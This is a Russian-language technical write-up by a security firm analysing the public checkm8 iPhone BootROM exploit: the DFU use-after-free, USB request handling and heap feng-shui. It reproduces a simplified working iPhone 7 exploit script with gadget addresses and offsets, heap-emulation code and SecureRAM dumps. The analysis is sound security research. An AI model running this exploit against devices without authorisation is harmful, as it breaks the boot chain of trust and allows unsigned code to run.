Pull to refresh
0
Digital Security
Безопасность как искусство

Технический анализ эксплойта checkm8

Reading time27 min
Views33K

С большой вероятностью вы уже слышали про нашумевший эксплойт checkm8, использующий неисправимую уязвимость в BootROM большинства iDevice-ов, включая iPhone X. В этой статье мы приведем технический анализ эксплойта и разберемся в причинах уязвимости. Всем заинтересовавшимся — добро пожаловать под кат!


Вы можете ознакомиться с английской версией статьи тут.


Введение


Для начала коротко опишем процесс загрузки iDevice и выясним, какое место в нем занимает BootROM (также его могут называть SecureROM) и для чего он нужен. Довольно подробная информация об этом есть здесь. Упрощенно процесс загрузки можно изобразить следующим образом:



BootROM — первое, что исполняет процессор при включении устройства. Основные задачи BootROM:


  • Инициализация платформы (установка необходимых регистров платформы, инициализация CPU и т.д.)
  • Проверка и передача управления на следующую ступень загрузки
    • BootROM поддерживает парсинг IMG3/IMG4 образов
    • BootROM имеет доступ к GID ключу для расшифровки образов
    • Для проверки образов в BootROM встроен публичный ключ Apple, и есть необходимая функциональность для работы с криптографией
  • Восстановление устройства при невозможности дальнейшей загрузки (Device Firmware Update, DFU)

У BootROM очень маленький размер, и его можно назвать урезанной версией iBoot, так как они разделяют большую часть системного и библиотечного кода. Однако, в отличие от iBoot, BootROM нельзя обновить. Он помещается во внутреннюю read-only память при изготовлении устройства. BootROM — это аппаратный корень доверия цепочки загрузки. Уязвимости в нем могут позволить получить контроль над дальнейшим процессом загрузки и исполнять неподписанный код на устройстве.



Появление checkm8


Эксплойт checkm8 был добавлен в утилиту ipwndfu ее автором axi0mX 27 сентября 2019. Тогда же он анонсировал обновление у себя в твиттере, сопроводив тред описанием эксплойта и дополнительной информацией. Из треда можно узнать, что use-after-free уязвимость в коде USB была найдена автором в процессе патч-диффинга iBoot для iOS 12 beta летом 2018 года. Как было замечено ранее, у BootROM и iBoot много общего кода, в том числе код для USB, из-за чего эта уязвимость актуальна и для BootROM.


Из кода эксплойта также следует, что уязвимость эксплуатируется в DFU. Это режим, в котором на устройство по USB можно передать подписанный образ, который впоследствии будет загружен. Это может потребоваться, например, для восстановления устройства при неудачном обновлении.


В тот же день пользователь littlelailo сообщил, что нашел эту уязвимость еще в марте и опубликовал ее описание в файле apollo.txt. Описание соответствовало тому, что происходит в коде checkm8, однако оно не до конца проясняет детали работы эксплойта. Поэтому мы и решили написать эту статью и описать все детали эксплуатации вплоть до исполнения полезной нагрузки в BootROM включительно.


Мы проводили анализ эксплойта, опираясь на упомянутые ранее материалы, а также на утекший в феврале 2018 года исходный код iBoot/SecureROM. Мы также использовали данные, полученные экспериментальным путем на нашем тестовом устройстве — iPhone 7 (CPID:8010). С помощью checkm8 мы сняли с него дампы SecureROM и SecureRAM, которые помогли нам при анализе.


Необходимые знания о USB


Обнаруженная уязвимость находится в коде USB, поэтому необходимы некоторые знания об этом интерфейсе. Полную спецификацию можно прочитать тут, но она довольно объемная. Отличным материалом, которого более чем достаточно для дальнейшего понимания, является USB in a NutShell. Здесь мы приведем лишь самое необходимое.


Существуют различные типы передачи данных по USB. В DFU используется только режим Control Transfers (про него можно прочитать по ссылке). Каждая транзакция в этом режиме состоит из трех стадий:



  • Setup Stage — на этой стадии отправляется SETUP-пакет, который состоит из следующих полей:
    • bmRequestType — описывает направление, тип и получателя запроса
    • bRequest — определяет, какой именно запрос производится
    • wValue, wIndex — в зависимости от запроса могут быть интерпретированы по-разному
    • wLength — длинна принимаемых/передаваемых данных в Data Stage
  • Data Stage — опциональная стадия, на которой происходит передача данных. В зависимости от SETUP-пакета из предыдущей стадии это может быть отправка данных от хоста к устройству (OUT) или наоборот (IN). Данные при этом отправляются небольшими порциями (в случае Apple DFU — это 0x40 байт).
    • Когда хост хочет передать очередную порцию данных, он отправляет OUT-токен, после чего отправляются сами данные.
    • Когда хост готов принять данные от устройства, он отправляет IN-токен, в ответ на который устройство отправляет данные.
  • Status Stage — завершающая стадия, на которой сообщается статус всей транзакции.
    • Для OUT-запросов хост отправляет IN-токен, в ответ на который устройство должно отправить пакет данных нулевой длины.
    • Для IN-запросов хост отправляет OUT-токен и пакет данных нулевой длины.

OUT — и IN-запросы представлены на схеме ниже. Мы намеренно убрали из описания и схемы взаимодействия ACK, NACK и другие пакеты хендшейка, так как они не играют особой роли в самом эксплойте.



Анализ apollo.txt


Мы начали анализ с разбора уязвимости из документа apollo.txt. В нем описывается алгоритм работы DFU-режима:


https://gist.github.com/littlelailo/42c6a11d31877f98531f6d30444f59c4
  1. When usb is started to get an image over dfu, dfu registers an interface to handle all the commands and allocates a buffer for input and output
  2. if you send data to dfu the setup packet is handled by the main code which then calls out to the interface code
  3. the interface code verifies that wLength is shorter than the input output buffer length and if that's the case it updates a pointer passed as an argument with a pointer to the input output buffer
  4. it then returns wLength which is the length it wants to recieve into the buffer
  5. the usb main code then updates a global var with the length and gets ready to recieve the data packages
  6. if a data package is recieved it gets written to the input output buffer via the pointer which was passed as an argument and another global variable is used to keep track of how many bytes were recieved already
  7. if all the data was recieved the dfu specific code is called again and that then goes on to copy the contents of the input output buffer to the memory location from where the image is later booted
  8. after that the usb code resets all variables and goes on to handel new packages
  9. if dfu exits the input output buffer is freed and if parsing of the image fails bootrom reenters dfu

Сначала мы сопоставили описанные шаги с исходным кодом iBoot. Так как мы не можем использовать фрагменты утекшего исходного кода в статье, мы будем показывать псевдокод, полученный методом реверс-инжиниринга SecureROM нашего iPhone 7 в IDA. Вы же с легкостью можете найти исходный код iBoot и ориентироваться по нему.


При инициализации режима DFU выделяется IO-буфер и регистрируется USB-интерфейс для обработки запросов к DFU:



При поступлении SETUP-пакета запроса к DFU вызывается соответствующий обработчик интерфейса. В случае успешного выполнения OUT-запроса (например, при передаче образа) обработчик должен по указателю вернуть адрес IO-буфера для транзакции и размер данных, которые ожидает получить. При этом адрес буфера и размер ожидаемых данных сохраняются в глобальных переменных.



Обработчик интерфейса для DFU представлен на скриншоте ниже. Если запрос корректный, то по указателю возвращается адрес IO-буфера, аллоцированного на стадии инициализации DFU, и длина ожидаемых данных, которая берется из SETUP-пакета.



Во время Data Stage каждая порция данных записывается в IO-буфер, после чего адрес IO-буфера сдвигается и обновляется счетчик полученных данных. После получения всех ожидаемых данных вызывается обработчик данных интерфейса и очищается глобальное состояние передачи.



В обработчике данных DFU полученные данные перемещаются в область памяти, из которой в дальнейшем будет происходить загрузка. Судя по исходному коду iBoot, эту область памяти в Apple называют INSECURE_MEMORY.



При выходе из режима DFU выделенный ранее IO-буфер будет освобожден. Если в DFU-режиме образ был успешно получен, произойдут его проверка и загрузка. Если же во время работы DFU-режима произошла какая-то ошибка или загрузить полученный образ невозможно, произойдет повторная инициализация DFU, и всё начнется сначала.


В описанном алгоритме и кроется use-after-free уязвимость. Если при загрузке отправить SETUP-пакет и завершить транзакцию, пропустив Data Stage, глобальное состояние останется инициализированным при повторном входе в цикл DFU, и мы сможем писать по адресу IO-буфера, выделенного на предыдущей итерации DFU.


Разобравшись с уязвимостью use-after-free, мы задались вопросом: каким образом во время следующей итерации DFU можно перезаписать что-либо? Ведь перед повторной инициализацией DFU все выделенные ранее ресурсы освобождаются, и расположение памяти в новой итерации должно быть точно таким же. Оказывается, существует еще одна интересная и довольно красивая ошибка утечки памяти, позволяющая эксплуатировать уязвимость use-after-free, о которой мы расскажем далее.


Анализ checkm8


Перейдем непосредственно к анализу эксплойта checkm8. Для простоты разберем модифицированную версию эксплойта для iPhone 7, в которой был убран код, связанный с другими платформами, изменена последовательность и типы USB-запросов без потери работоспособности эксплойта. Также в данной версии убран процесс построения полезной нагрузки, с ним можно ознакомиться в оригинальном файле checkm8.py. Понять, в чем состоят отличия версий для других устройств, не должно составить труда.


#!/usr/bin/env python

from checkm8 import *

def main():
    print '*** checkm8 exploit by axi0mX ***'

    device = dfu.acquire_device(1800)
    start = time.time()
    print 'Found:', device.serial_number
    if 'PWND:[' in device.serial_number:
        print 'Device is already in pwned DFU Mode. Not executing exploit.'
        return

    payload, _ = exploit_config(device.serial_number)
    t8010_nop_gadget = 0x10000CC6C
    callback_chain = 0x1800B0800
    t8010_overwrite = '\0' * 0x5c0
    t8010_overwrite += struct.pack('<32x2Q', t8010_nop_gadget, callback_chain)

    # heap feng-shui
    stall(device)
    leak(device)
    for i in range(6):
        no_leak(device)
    dfu.usb_reset(device)
    dfu.release_device(device)

    # set global state and restart usb
    device = dfu.acquire_device()
    device.serial_number
    libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001)
    libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0)
    dfu.release_device(device)

    time.sleep(0.5)

    # heap occupation
    device = dfu.acquire_device()
    device.serial_number
    stall(device)
    leak(device)
    leak(device)
    libusb1_no_error_ctrl_transfer(device, 0, 9, 0, 0, t8010_overwrite, 50)
    for i in range(0, len(payload), 0x800):
        libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0,
                                       payload[i:i+0x800], 50)
    dfu.usb_reset(device)
    dfu.release_device(device)

    device = dfu.acquire_device()
    if 'PWND:[checkm8]' not in device.serial_number:
        print 'ERROR: Exploit failed. Device did not enter pwned DFU Mode.'
        sys.exit(1)
    print 'Device is now in pwned DFU Mode.'
    print '(%0.2f seconds)' % (time.time() - start)
    dfu.release_device(device)

if __name__ == '__main__':
    main()

Работу checkm8 можно разделить на несколько стадий:


  1. Подготовка кучи (heap feng-shui)
  2. Аллокация и освобождение IO-буфера без очистки глобального состояния
  3. Перезапись usb_device_io_request в куче с помощью use-after-free
  4. Размещение полезной нагрузки
  5. Исполнение callback-chain
  6. Исполнение shellcode

Рассмотрим каждую из стадий подробно.


1. Подготовка кучи (heap feng-shui)


Как нам кажется, это наиболее интересная стадия, и ей мы уделили особое внимание.


stall(device)
leak(device)
for i in range(6):
    no_leak(device)
dfu.usb_reset(device)
dfu.release_device(device)

Этот этап необходим для достижения удобного состояния кучи для эксплуатации use-after-free. Для начала рассмотрим вызовы stall, leak, no_leak:


def stall(device):   libusb1_async_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 'A' * 0xC0, 0.00001)
def leak(device):    libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0xC0, 1)
def no_leak(device): libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0xC1, 1)

libusb1_no_error_ctrl_transfer — это обертка над device.ctrlTransfer с игнорированием любых исключений, возникших при выполнении запроса. libusb1_async_ctrl_transfer — обертка над функцией libusb_submit_transfer из libusb для асинхронного выполнения запроса.


Оба вызова принимают следующие параметры:


  • Экземпляр устройства
  • Данные для SETUP-пакета (их описание тут):
    • bmRequestType
    • bRequest
    • wValue
    • wIndex
  • Размер данных (wLength) или сами данные для Data Stage
  • Таймаут запроса

Аргументы bmRequestType, bRequest, wValue и wIndex являются общими для всех трех видов запросов. Они означают:


  • bmRequestType = 0x80
    • 0b1XXXXXXX — направление Data Stage от устройства к хосту (Device to Host)
    • 0bX00XXXXX — стандартный тип запроса
    • 0bXXX00000 — получатель запроса — устройство
  • bRequest = 6 — запрос на получение дескриптора (GET_DESCRIPTOR)
  • wValue = 0x304
    • wValueHigh = 0x3 — определяет тип получаемого дескриптора — строка (USB_DT_STRING)
    • wValueLow = 0x4 — индекс строкового дескриптора, 4 соответствует серийному номеру устройства (в данном случае строка имеет вид CPID:8010 CPRV:11 CPFM:03 SCEP:01 BDID:0C ECID:001A40362045E526 IBFL:3C SRTG:[iBoot-2696.0.0.1.33])
  • wIndex = 0x40A — идентификатор языка строки, его значение не важно для эксплуатации и может быть изменено.

При любом из этих трех запросов в куче выделяется 0x30 байт под объект следующей структуры:



Наиболее интересными полями данного объекта являются callback и next.


  • callback — указатель на функцию, которая будет вызвана при завершении запроса.
  • next — указатель на следующий объект того же типа, необходим для организации очереди запросов.

Ключевой особенностью вызова stall является использование асинхронного исполнения запроса с минимальным таймаутом. За счет этого, если повезет, запрос будет отменен на уровне ОС и останется в очереди исполнения, а транзакция не будет завершена. При этом устройство продолжит принимать все поступающие SETUP-пакеты и, при необходимости, поместит их в очередь исполнения. В дальнейшем с помощью экспериментов с USB-контроллером на Arduino нам удалось выяснить, что для успешной эксплуатации хост должен отправить SETUP-пакет и IN-токен, после чего транзакция должна быть отменена по таймауту. Схематично, такую незавершенную транзакцию можно изобразить так:



В остальном запросы отличаются только длиной и всего лишь на единицу. Дело в том, что для стандартных запросов существует стандартный callback, который выглядит так:



Значение io_length равно минимуму из wLength в SETUP-пакете запроса и оригинальной длины запрашиваемого дескриптора. За счет того, что дескриптор достаточно длинный, мы можем точно контролировать значение io_length в пределах его длины. Значение g_setup_request.wLength равно значению wLength последнего SETUP-пакета, в данном случае — 0xC1.


Таким образом, при завершении запросов, сформированных с помощью вызовов stall и leak, условие в завершающей callback-функции выполняется, и вызывается usb_core_send_zlp(). Этот вызов просто создает нулевой пакет (zero-length-packet) и добавляет его в очередь исполнения. Это необходимо для корректного завершения транзакции в Status Stage.


Запрос завершается вызовом функции usb_core_complete_endpoint_io, которая сначала вызывает callback, а затем освобождает память запроса. При этом завершение запроса может происходить не только при фактическом завершении всей транзакции, но и при сбросе USB. Как только будет получен сигнал сброса USB, будет произведен обход очереди запросов, и каждый из них будет завершен.


За счет выборочного вызова usb_core_send_zlp() при обходе очереди запросов с их последующим освобождением можно добиться достаточного контроля кучи для эксплуатации use-after-free. Для начала посмотрим на сам цикл освобождения:



Очередь запросов сначала очищается, потом производится обход отмененных запросов, и они завершаются с помощью вызова usb_core_complete_endpoint_io. При этом выделенные с помощью usb_core_send_zlp запросы помещаются в ep->io_head. После завершения процедуры сброса USB вся информация о конечной точке будет обнулена, в том числе указатели io_head и io_tail, и запросы нулевой длины останутся в куче. Так можно создать чанк небольшого размера посреди всей остальной кучи. На схеме ниже показано, как это происходит:



Куча в SecureROM устроена таким образом, что новая область памяти выделяется из подходящего свободного чанка наименьшего размера. Создав небольшой свободный чанк описанным выше методом, можно повлиять на выделение памяти при инициализации USB и на выделение io_buffer и запросов.


Для лучшего понимания разберемся, какие запросы к куче происходят при инициализации DFU. В ходе анализа исходного кода iBoot и реверс-инжиниринга SecureROM нам удалось получить следующую последовательность:


    1. Аллокация различных строковых дескрипторов
      • 1.1. Nonce (размер 234)
      • 1.2. Manufacturer (22)
      • 1.3. Product (62)
      • 1.4. Serial Number (198)
      • 1.5. Configuration string (62)

    1. Аллокации, связанные с созданием таска USB-контроллера
      • 2.1. Структура таска (0x3c0)
      • 2.2. Стек таска (0x1000)

    1. io_buffer (0x800)

    1. Конфигурационные дескрипторы
      • 4.1. High-Speed (25)
      • 4.2. Full-Speed (25)


Затем происходит аллокация структур запросов. При наличии чанка небольшого размера в середине пространства кучи часть аллокаций из первой категории уйдут в этот чанк, а все остальные аллокации сдвинутся, за счет чего мы сможем переполнить usb_device_io_request, обратившись к старому буферу. Схематично это можно изобразить следующим образом:



Для расчета необходимого смещения мы решили просто проэмулировать перечисленные выше аллокации, немного адаптировав исходный код кучи iBoot.


Эмуляция обращений к куче в DFU
#include "heap.h"
#include <stdio.h>
#include <unistd.h>
#include <sys/mman.h>

#ifndef NOLEAK
#define NOLEAK (8)
#endif

int main() {
    void * chunk = mmap((void *)0x1004000, 0x100000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    printf("chunk = %p\n", chunk);
    heap_add_chunk(chunk, 0x100000, 1);
    malloc(0x3c0); // выравнивание для соответствия младших байт адресов в SecureRAM

    void * descs[10];
    void * io_req[100];
    descs[0] = malloc(234);
    descs[1] = malloc(22);
    descs[2] = malloc(62);
    descs[3] = malloc(198);
    descs[4] = malloc(62);

    const int N = NOLEAK;

    void * task = malloc(0x3c0);
    void * task_stack = malloc(0x4000);

    void * io_buf_0 = memalign(0x800, 0x40);
    void * hs = malloc(25);
    void * fs = malloc(25);

    void * zlps[2];

    for(int i = 0; i < N; i++)
    {
        io_req[i] = malloc(0x30);
    }

    for(int i = 0; i < N; i++)
    {
        if(i < 2)
        {
            zlps[i] = malloc(0x30);
        }
        free(io_req[i]);
    }

    for(int i = 0; i < 5; i++)
    {
       printf("descs[%d]  = %p\n", i, descs[i]);
    }

    printf("task = %p\n", task);
    printf("task_stack = %p\n", task_stack);
    printf("io_buf = %p\n", io_buf_0);
    printf("hs = %p\n", hs);
    printf("fs = %p\n", fs);

    for(int i = 0; i < 2; i++)
    {
       printf("zlps[%d]  = %p\n", i, zlps[i]);
    }

    printf("**********\n");

    for(int i = 0; i < 5; i++)
    {
        free(descs[i]);
    }

    free(task);
    free(task_stack);
    free(io_buf_0);
    free(hs);
    free(fs);

    descs[0] = malloc(234);
    descs[1] = malloc(22);
    descs[2] = malloc(62);
    descs[3] = malloc(198);
    descs[4] = malloc(62);

    task = malloc(0x3c0);
    task_stack = malloc(0x4000);
    void * io_buf_1 = memalign(0x800, 0x40);
    hs = malloc(25);
    fs = malloc(25);

    for(int i = 0; i < 5; i++)
    {
       printf("descs[%d]  = %p\n", i, descs[i]);
    }

    printf("task = %p\n", task);
    printf("task_stack = %p\n", task_stack);
    printf("io_buf = %p\n", io_buf_1);
    printf("hs = %p\n", hs);
    printf("fs = %p\n", fs);

    for(int i = 0; i < 5; i++)
    {
        io_req[i] = malloc(0x30);
        printf("io_req[%d] = %p\n", i, io_req[i]);
    }

    printf("**********\n");
    printf("io_req_off = %#lx\n", (int64_t)io_req[0] - (int64_t)io_buf_0);
    printf("hs_off  = %#lx\n", (int64_t)hs - (int64_t)io_buf_0);
    printf("fs_off  = %#lx\n", (int64_t)fs - (int64_t)io_buf_0);

    return 0;
}

Вывод программы при 8-ми запросах на этапе heap feng-shui:


chunk = 0x1004000
descs[0]  = 0x1004480
descs[1]  = 0x10045c0
descs[2]  = 0x1004640
descs[3]  = 0x10046c0
descs[4]  = 0x1004800
task = 0x1004880
task_stack = 0x1004c80
io_buf = 0x1008d00
hs = 0x1009540
fs = 0x10095c0
zlps[0]  = 0x1009a40
zlps[1]  = 0x1009640
**********
descs[0]  = 0x10096c0
descs[1]  = 0x1009800
descs[2]  = 0x1009880
descs[3]  = 0x1009900
descs[4]  = 0x1004480
task = 0x1004500
task_stack = 0x1004900
io_buf = 0x1008980
hs = 0x10091c0
fs = 0x1009240
io_req[0] = 0x10092c0
io_req[1] = 0x1009340
io_req[2] = 0x10093c0
io_req[3] = 0x1009440
io_req[4] = 0x10094c0
**********
io_req_off = 0x5c0
hs_off  = 0x4c0
fs_off  = 0x540

Очередной usb_device_io_request окажется по смещению 0x5c0 от начала предыдущего буфера, что соответсвует коду эксплойта:


t8010_overwrite = '\0' * 0x5c0
t8010_overwrite += struct.pack('<32x2Q', t8010_nop_gadget, callback_chain)

В правильности описанных выше рассуждений можно убедиться, проанализировав актуальное содержимое кучи в SecureRAM, которое мы получили с помощью checkm8. Мы написали довольно простой скрипт, который парсит дамп кучи и перечисляет чанки. При парсинге стоит учесть, что при переполнении usb_device_io_request часть метаданных чанков была повреждена, и их мы пропускаем при анализе скриптом.


#!/usr/bin/env python3

import struct
from hexdump import hexdump

with open('HEAP', 'rb') as f:
    heap = f.read()

cur = 0x4000

def parse_header(cur):
    _, _, _, _, this_size, t = struct.unpack('<QQQQQQ', heap[cur:cur + 0x30])
    is_free = t & 1
    prev_free = (t >> 1) & 1
    prev_size = t >> 2
    this_size *= 0x40
    prev_size *= 0x40
    return this_size, is_free, prev_size, prev_free

while True:
    try:
        this_size, is_free, prev_size, prev_free = parse_header(cur)
    except Exception as ex:
        break
    print('chunk at', hex(cur + 0x40))
    if this_size == 0:
        if cur in (0x9180, 0x9200, 0x9280):  # пропуск поврежденных чанков
            this_size = 0x80
        else:
            break
    print(hex(this_size), 'free' if is_free else 'non-free', hex(prev_size), prev_free)
    hexdump(heap[cur + 0x40:cur + min(this_size, 0x100)])
    cur += this_size

С выводом скрипта с комментариями можно ознакомиться под спойлером. Видно, что младшие байты адресов совпадают с результатом эмуляции.


Результат парсинга кучи в SecureRAM
chunk at 0x4040
0x40 non-free 0x0 0
chunk at 0x4080
0x80 non-free 0x40 0
00000000: 00 41 1B 80 01 00 00 00  00 00 00 00 00 00 00 00  .A..............
00000010: 00 00 00 00 00 00 00 00  00 01 00 00 00 00 00 00  ................
00000020: FF 00 00 00 00 00 00 00  68 3F 08 80 01 00 00 00  ........h?......
00000030: F0 F1 F2 F3 F4 F5 F6 F7  F8 F9 FA FB FC FD FE FF  ................
chunk at 0x4100
0x140 non-free 0x80 0
00000000: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000010: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000020: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000030: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000040: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000050: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000060: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000070: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000080: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000090: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
000000A0: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
000000B0: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
chunk at 0x4240
0x240 non-free 0x140 0
00000000: 68 6F 73 74 20 62 72 69  64 67 65 00 00 00 00 00  host bridge.....
00000010: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000020: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000030: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000040: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000050: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000060: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000070: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000080: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000090: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
000000A0: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
000000B0: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
chunk at 0x4480  // descs[4], conf string
0x80 non-free 0x240 0
00000000: 3E 03 41 00 70 00 70 00  6C 00 65 00 20 00 4D 00  >.A.p.p.l.e. .M.
00000010: 6F 00 62 00 69 00 6C 00  65 00 20 00 44 00 65 00  o.b.i.l.e. .D.e.
00000020: 76 00 69 00 63 00 65 00  20 00 28 00 44 00 46 00  v.i.c.e. .(.D.F.
00000030: 55 00 20 00 4D 00 6F 00  64 00 65 00 29 00 FE FF  U. .M.o.d.e.)...
chunk at 0x4500  // task
0x400 non-free 0x80 0
00000000: 6B 73 61 74 00 00 00 00  E0 01 08 80 01 00 00 00  ksat............
00000010: E8 83 08 80 01 00 00 00  00 00 00 00 00 00 00 00  ................
00000020: 00 00 00 00 00 00 00 00  02 00 00 00 00 00 00 00  ................
00000030: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000040: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000050: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000060: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000070: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000080: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000090: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
000000A0: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
000000B0: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
chunk at 0x4900  // task stack
0x4080 non-free 0x400 0
00000000: 6B 61 74 73 6B 61 74 73  6B 61 74 73 6B 61 74 73  katskatskatskats
00000010: 6B 61 74 73 6B 61 74 73  6B 61 74 73 6B 61 74 73  katskatskatskats
00000020: 6B 61 74 73 6B 61 74 73  6B 61 74 73 6B 61 74 73  katskatskatskats
00000030: 6B 61 74 73 6B 61 74 73  6B 61 74 73 6B 61 74 73  katskatskatskats
00000040: 6B 61 74 73 6B 61 74 73  6B 61 74 73 6B 61 74 73  katskatskatskats
00000050: 6B 61 74 73 6B 61 74 73  6B 61 74 73 6B 61 74 73  katskatskatskats
00000060: 6B 61 74 73 6B 61 74 73  6B 61 74 73 6B 61 74 73  katskatskatskats
00000070: 6B 61 74 73 6B 61 74 73  6B 61 74 73 6B 61 74 73  katskatskatskats
00000080: 6B 61 74 73 6B 61 74 73  6B 61 74 73 6B 61 74 73  katskatskatskats
00000090: 6B 61 74 73 6B 61 74 73  6B 61 74 73 6B 61 74 73  katskatskatskats
000000A0: 6B 61 74 73 6B 61 74 73  6B 61 74 73 6B 61 74 73  katskatskatskats
000000B0: 6B 61 74 73 6B 61 74 73  6B 61 74 73 6B 61 74 73  katskatskatskats
chunk at 0x8980  // io_buf
0x840 non-free 0x4080 0
00000000: 63 6D 65 6D 63 6D 65 6D  00 00 00 00 00 00 00 00  cmemcmem........
00000010: 10 00 0B 80 01 00 00 00  00 00 1B 80 01 00 00 00  ................
00000020: EF FF 00 00 00 00 00 00  10 08 0B 80 01 00 00 00  ................
00000030: 4C CC 00 00 01 00 00 00  20 08 0B 80 01 00 00 00  L....... .......
00000040: 4C CC 00 00 01 00 00 00  30 08 0B 80 01 00 00 00  L.......0.......
00000050: 4C CC 00 00 01 00 00 00  40 08 0B 80 01 00 00 00  L.......@.......
00000060: 4C CC 00 00 01 00 00 00  A0 08 0B 80 01 00 00 00  L...............
00000070: 00 06 0B 80 01 00 00 00  6C 04 00 00 01 00 00 00  ........l.......
00000080: 00 00 00 00 00 00 00 00  78 04 00 00 01 00 00 00  ........x.......
00000090: 00 00 00 00 00 00 00 00  B8 A4 00 00 01 00 00 00  ................
000000A0: 00 00 0B 80 01 00 00 00  E4 03 00 00 01 00 00 00  ................
000000B0: 00 00 00 00 00 00 00 00  34 04 00 00 01 00 00 00  ........4.......
chunk at 0x91c0  // hs config
0x80 non-free 0x0 0
00000000: 09 02 19 00 01 01 05 80  FA 09 04 00 00 00 FE 01  ................
00000010: 00 00 07 21 01 0A 00 00  08 00 00 00 00 00 00 00  ...!............
00000020: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000030: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
chunk at 0x9240  // ls config
0x80 non-free 0x0 0
00000000: 09 02 19 00 01 01 05 80  FA 09 04 00 00 00 FE 01  ................
00000010: 00 00 07 21 01 0A 00 00  08 00 00 00 00 00 00 00  ...!............
00000020: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000030: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
chunk at 0x92c0
0x80 non-free 0x0 0
00000000: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000010: 01 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000020: 6C CC 00 00 01 00 00 00  00 08 0B 80 01 00 00 00  l...............
00000030: F0 F1 F2 F3 F4 F5 F6 F7  F8 F9 FA FB FC FD FE FF  ................
chunk at 0x9340
0x80 non-free 0x80 0
00000000: 80 00 00 00 00 00 00 00  00 89 08 80 01 00 00 00  ................
00000010: FF FF FF FF C0 00 00 00  00 00 00 00 00 00 00 00  ................
00000020: 48 DE 00 00 01 00 00 00  C0 93 1B 80 01 00 00 00  H...............
00000030: F0 F1 F2 F3 F4 F5 F6 F7  F8 F9 FA FB FC FD FE FF  ................
chunk at 0x93c0
0x80 non-free 0x80 0
00000000: 80 00 00 00 00 00 00 00  00 89 08 80 01 00 00 00  ................
00000010: FF FF FF FF 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000020: 00 00 00 00 00 00 00 00  40 94 1B 80 01 00 00 00  ........@.......
00000030: F0 F1 F2 F3 F4 F5 F6 F7  F8 F9 FA FB FC FD FE FF  ................
chunk at 0x9440
0x80 non-free 0x80 0
00000000: 80 00 00 00 00 00 00 00  00 89 08 80 01 00 00 00  ................
00000010: FF FF FF FF 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000020: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000030: F0 F1 F2 F3 F4 F5 F6 F7  F8 F9 FA FB FC FD FE FF  ................
chunk at 0x94c0
0x180 non-free 0x80 0
00000000: E4 03 43 00 50 00 49 00  44 00 3A 00 38 00 30 00  ..C.P.I.D.:.8.0.
00000010: 31 00 30 00 20 00 43 00  50 00 52 00 56 00 3A 00  1.0. .C.P.R.V.:.
00000020: 31 00 31 00 20 00 43 00  50 00 46 00 4D 00 3A 00  1.1. .C.P.F.M.:.
00000030: 30 00 33 00 20 00 53 00  43 00 45 00 50 00 3A 00  0.3. .S.C.E.P.:.
00000040: 30 00 31 00 20 00 42 00  44 00 49 00 44 00 3A 00  0.1. .B.D.I.D.:.
00000050: 30 00 43 00 20 00 45 00  43 00 49 00 44 00 3A 00  0.C. .E.C.I.D.:.
00000060: 30 00 30 00 31 00 41 00  34 00 30 00 33 00 36 00  0.0.1.A.4.0.3.6.
00000070: 32 00 30 00 34 00 35 00  45 00 35 00 32 00 36 00  2.0.4.5.E.5.2.6.
00000080: 20 00 49 00 42 00 46 00  4C 00 3A 00 33 00 43 00   .I.B.F.L.:.3.C.
00000090: 20 00 53 00 52 00 54 00  47 00 3A 00 5B 00 69 00   .S.R.T.G.:.[.i.
